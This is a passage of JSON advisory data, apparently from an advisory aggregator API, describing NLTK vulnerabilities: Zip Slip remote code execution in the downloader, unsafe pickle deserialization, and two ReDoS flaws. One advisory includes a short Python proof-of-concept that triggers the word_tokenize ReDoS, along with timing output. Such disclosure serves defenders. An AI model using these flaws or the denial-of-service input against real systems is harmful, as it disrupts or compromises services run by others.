3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02OGo4LXBxNTktZnFnbc4ABTIz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv","url":"https://github.com/advisories/GHSA-7p94-766c-hgjp","title":"NLTK has a Zip Slip Vulnerability","description":"A critical vulnerability exists in the NLTK downloader component of nltk/nltk, affecting all versions. The _unzip_iter function in nltk/downloader.py uses zipfile.extractall() without performing path validation or security checks. This allows attackers to craft malicious zip packages that, when downloaded and extracted by NLTK, can execute arbitrary code. The vulnerability arises because NLTK assumes all downloaded packages are trusted and extracts them without validation. If a malicious package contains Python files, such as __init__.py, these files are executed automatically upon import, leading to remote code execution. This issue can result in full system compromise, including file system access, network access, and potential persistence mechanisms.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-02-18T18:30:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2025-14009","https://huntr.com/bounties/49ecbc02-054e-4470-b2e0-b267936cc4e4","https://github.com/nltk/nltk/pull/3468","https://github.com/nltk/nltk/commit/1056b323af6462455571302e766b67cf300aea18","https://github.com/nltk/nltk/blob/4154eb85e832f266660a09286c7e37e308292284/ChangeLog#L1","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-96.yaml","https://github.com/advisories/GHSA-7p94-766c-hgjp"],"source_kind":"github","identifiers":["GHSA-7p94-766c-hgjp","CVE-2025-14009"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-02-19T21:00:08.821Z","updated_at":"2026-09-03T00:04:00.290Z","epss_percentage":0.0079,"epss_percentile":0.53731,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9.3","vulnerable_version_range":"\u003c= 3.9.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03cDk0LTc2NmMtaGdqcM4ABSfv/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK","url":"https://github.com/advisories/GHSA-cgvx-9447-vcch","title":"ntlk unsafe deserialization vulnerability","description":"NLTK through 3.8.1 allows remote code execution if untrusted packages have pickled Python code, and the integrated data package download functionality is used. This affects, for example, averaged_perceptron_tagger and punkt.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2024-06-28T00:33:31.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2024-39705","https://github.com/nltk/nltk/issues/2522","https://github.com/nltk/nltk/issues/3266","https://github.com/nltk/nltk/commit/441aecb7d33014bd08672232c6c8bb69c2ceaba2","https://www.vicarius.io/vsociety/posts/rce-in-python-nltk-cve-2024-39705-39706","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2024-167.yaml","https://github.com/advisories/GHSA-cgvx-9447-vcch"],"source_kind":"github","identifiers":["GHSA-cgvx-9447-vcch","CVE-2024-39705"],"repository_url":"https://github.com/nltk/nltk","blast_radius":35.70158487540498,"created_at":"2024-06-28T22:05:19.937Z","updated_at":"2026-08-15T20:11:16.994Z","epss_percentage":0.01346,"epss_percentile":0.68521,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.9","vulnerable_version_range":"\u003c 3.9"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1jZ3Z4LTk0NDctdmNjaM4AA9aK/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g","url":"https://github.com/advisories/GHSA-rqjh-jp2r-59cj","title":"NLTK Vulnerable to REDoS","description":"NLTK is vulnerable to REDoS in some RegexpTaggers used in the functions `get_pos_tagger` and `malt_regex_tagger`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2022-01-06T22:24:14.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3842","https://github.com/nltk/nltk/commit/2a50a3edc9d35f57ae42a921c621edc160877f4d","https://huntr.dev/bounties/761a761e-2be2-430a-8d92-6f74ffe9866a","https://github.com/nltk/nltk/pull/2906","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2022-5.yaml","https://github.com/advisories/GHSA-rqjh-jp2r-59cj"],"source_kind":"github","identifiers":["GHSA-rqjh-jp2r-59cj","CVE-2021-3842"],"repository_url":"https://github.com/nltk/nltk","blast_radius":41.41383845546978,"created_at":"2022-12-21T16:12:39.177Z","updated_at":"2026-09-03T00:11:09.225Z","epss_percentage":0.01461,"epss_percentile":0.71726,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.6.6","vulnerable_version_range":"\u003c 3.6.6"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1ycWpoLWpwMnItNTljas0g2g/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mOG02LWgyYzctOGg5eM0g4Q","url":"https://github.com/advisories/GHSA-f8m6-h2c7-8h9x","title":"Inefficient Regular Expression Complexity in nltk (word_tokenize, sent_tokenize)","description":"### Impact\nThe vulnerability is present in [`PunktSentenceTokenizer`](https://www.nltk.org/api/nltk.tokenize.punkt.html#nltk.tokenize.punkt.PunktSentenceTokenizer), [`sent_tokenize`](https://www.nltk.org/api/nltk.tokenize.html#nltk.tokenize.sent_tokenize)  and [`word_tokenize`](https://www.nltk.org/api/nltk.tokenize.html#nltk.tokenize.word_tokenize). Any users of this class, or these two functions, are vulnerable to a Regular Expression Denial of Service (ReDoS) attack. \nIn short, a specifically crafted long input to any of these vulnerable functions will cause them to take a significant amount of execution time. The effect of this vulnerability is noticeable with the following example:\n```python\nfrom nltk.tokenize import word_tokenize\n\nn = 8\nfor length in [10**i for i in range(2, n)]:\n    # Prepare a malicious input\n    text = \"a\" * length\n    start_t = time.time()\n    # Call `word_tokenize` and naively measure the execution time\n    word_tokenize(text)\n    print(f\"A length of {length:\u003c{n}} takes {time.time() - start_t:.4f}s\")\n```\nWhich gave the following output during testing:\n```python\nA length of 100      takes 0.0060s\nA length of 1000     takes 0.0060s\nA length of 10000    takes 0.6320s\nA length of 100000   takes 56.3322s\n...\n```\nI canceled the execution of the program after running it for several hours.\n\nIf your program relies on any of the vulnerable functions for tokenizing unpredictable user input, then we would strongly recommend upgrading to a version of NLTK without the vulnerability, or applying the workaround described below.\n\n### Patches\nThe problem has been patched in NLTK 3.6.6. After the fix, running the above program gives the following result:\n```python\nA length of 100      takes 0.0070s\nA length of 1000     takes 0.0010s\nA length of 10000    takes 0.0060s\nA length of 100000   takes 0.0400s\nA length of 1000000  takes 0.3520s\nA length of 10000000 takes 3.4641s\n```\nThis output shows a linear relationship in execution time versus input length, which is desirable for regular expressions.\nWe recommend updating to NLTK 3.6.6+ if possible.\n\n### Workarounds\nThe execution time of the vulnerable functions is exponential to the length of a malicious input. With other words, the execution time can be bounded by limiting the maximum length of an input to any of the vulnerable functions. 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